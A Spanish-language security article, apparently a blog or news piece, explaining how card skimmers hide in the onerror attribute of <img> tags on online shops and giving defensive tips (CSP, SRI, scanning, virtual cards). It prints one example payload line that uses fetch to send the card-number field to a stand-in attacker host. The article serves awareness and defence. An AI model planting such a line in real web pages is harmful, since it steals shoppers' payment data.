Ciberdelincuentes Usan el Evento onerror en Imágenes para Robar Datos de Pago

Los ataques informáticos evolucionan rápidamente, y los ciberdelincuentes están encontrando formas cada vez más creativas de robar datos sin ser detectados. La última trampa descubierta involucra el uso del evento onerror en etiquetas <img> dentro de las páginas web. Con este sencillo pero efectivo truco, los atacantes consiguen infiltrar skimmers de pago (malware diseñado para robar datos de tarjetas) en tiendas online sin que nadie sospeche.
Si eres un usuario común de comercio electrónico, quédate porque esto te interesa. Y si eres técnico o desarrollador, aquí tienes todos los detalles sobre cómo funciona y cómo evitarlo.
¿Qué es un ataque de skimming digital?
Los skimmers digitales funcionan como los dispositivos que los ladrones instalan en cajeros automáticos, solo que en vez de estar físicamente en la máquina, son fragmentos de código ocultos en sitios web de pago. Su función es interceptar y robar los datos de tarjetas de crédito de los clientes justo cuando los introducen en un formulario de pago.
Tradicionalmente, estos ataques se han basado en la inyección de JavaScript malicioso en las páginas afectadas. Pero los delincuentes han encontrado una forma mucho más sigilosa de hacerlo, utilizando un mecanismo que, a primera vista, no parece peligroso en absoluto: las imágenes.
El truco del onerror ¿Cómo funciona el ataque?
La clave de esta nueva técnica está en el atributo onerror de la etiqueta HTML <img>. Este atributo se activa cuando una imagen no puede cargarse correctamente. Los atacantes explotan esto para hacer que el navegador ejecute código malicioso cuando la imagen falle.
Paso a paso del ataque
- Infiltración en el sitio web: Los ciberdelincuentes consiguen acceso a la web de una tienda online comprometida (normalmente mediante vulnerabilidades en plugins o malas configuraciones de seguridad).
- Modificación del código HTML: Insertan una imagen con un
srcapuntando a un dominio inexistente o malicioso y un atributoonerrorque ejecuta código JavaScript cuando la imagen no carga. - Captura de datos: Cuando un usuario introduce los datos de su tarjeta, el código malicioso los intercepta y los envía a un servidor controlado por los atacantes.
Ejemplo de código malicioso insertado en una tienda:
<img src="https://malicious-site.com/fakeimage.jpg" onerror="fetch('https://attacker.com/steal?data=' + document.querySelector('#card-number').value)">Si la imagen no carga, se ejecuta un fetch que captura los datos de la tarjeta de crédito del usuario y los envía a un servidor malicioso.
¿Por qué es tan peligroso este método?
Los skimmers tradicionales ya son peligrosos, pero esta nueva variante es aún peor por varias razones:
- No altera los formularios de pago: A diferencia de otros ataques que modifican los campos de entrada o inyectan formularios falsos, este método no cambia la apariencia del sitio web. El usuario nunca sospecha nada.
- Evade los mecanismos de seguridad: Muchos sistemas de detección de código malicioso ignoran atributos como
onerror, por lo que la amenaza pasa desapercibida. - Fácil de distribuir: Basta con infectar un solo elemento en la página para comprometerla.
¿Cómo protegerse?
Si tienes un sitio web de comercio electrónico o gestionas su seguridad, toma nota de estos consejos:
Para desarrolladores y administradores de tiendas online
Implementa Content Security Policy (CSP): Configura una política de seguridad que impida la ejecución de JavaScript en atributos como onerror. Un ejemplo de configuración básica en tu servidor:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123';Monitorea cambios en el código: Usa herramientas como SRI (Subresource Integrity) para detectar modificaciones no autorizadas en los scripts de la página.
Escanea tu web regularmente: Utiliza plataformas de análisis de seguridad como Sucuri o Detectify para encontrar vulnerabilidades.
No permitas carga de imágenes externas: Si tu sitio permite a los usuarios subir imágenes, filtra y valida cada archivo para evitar código malicioso oculto en los atributos HTML.
Para usuarios de comercio electrónico
- Evita introducir datos de pago en sitios web sospechosos: Si una tienda online tiene errores visuales o mensajes extraños en la consola del navegador, podría estar comprometida.
- Usa tarjetas virtuales: Las tarjetas de pago virtuales generan un número temporal para cada transacción, lo que reduce el impacto de un posible robo.
- Mantén tu navegador actualizado: Muchos ataques explotan vulnerabilidades en versiones desactualizadas.
Un error que puedes pagar caro.
Este nuevo truco demuestra que los ciberdelincuentes están afinando sus estrategias para robar datos sin dejar rastro. Lo que antes requería código visible y técnicas obvias, ahora se camufla en un simple error de imagen.
Si tienes un negocio online, refuerza tus medidas de seguridad. Y si eres un comprador frecuente, mantente alerta y usa herramientas de protección. Recuerda: una imagen puede valer más que mil palabras, pero en manos equivocadas, también puede valer miles de dólares en fraudes.
